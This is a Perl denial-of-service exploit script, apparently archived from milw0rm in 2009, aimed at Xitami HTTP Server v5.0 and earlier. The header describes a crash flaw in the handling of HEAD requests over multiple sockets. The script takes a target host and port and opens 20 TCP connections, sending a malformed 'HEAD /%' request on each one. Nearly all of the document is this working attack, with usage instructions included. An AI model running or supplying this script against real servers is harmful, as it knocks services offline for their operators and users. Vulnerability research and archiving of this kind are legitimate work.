#!/usr/bin/perl
#
# Xitami HTTP Server <= v5.0 Remote Denial of Service.
#
# ------------------------------------------------------------------------------
# The vulnerability is caused due to an error with HEAD request and multi-socket
# This can be exploited to crash the HTTP service.
# ------------------------------------------------------------------------------
#
# Author: Jonathan Salwan
# Mail: submit [AT] shell-storm.org
# Web: http://www.shell-storm.org
use IO::Socket;
print "[+] Author : Jonathan Salwan\n";
print "[+] Soft : Xitami HTTP Server v5.0\n";
if (@ARGV < 1)
{
print "[-] Usage: <file.pl> <host> <port>\n";
print "[-] Exemple: file.pl 127.0.0.1 80\n";
exit;
}
$ip = $ARGV[0];
$port = $ARGV[1];
print "[+] Sending request...\n";
for($i=0;$i<20;$i++)
{
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "[-] Failed\n";
print $socket "HEAD /% HTTP/1.0\r\n\r\n";
}
print "[+] Done!\n";
# milw0rm.com [2009-04-22]
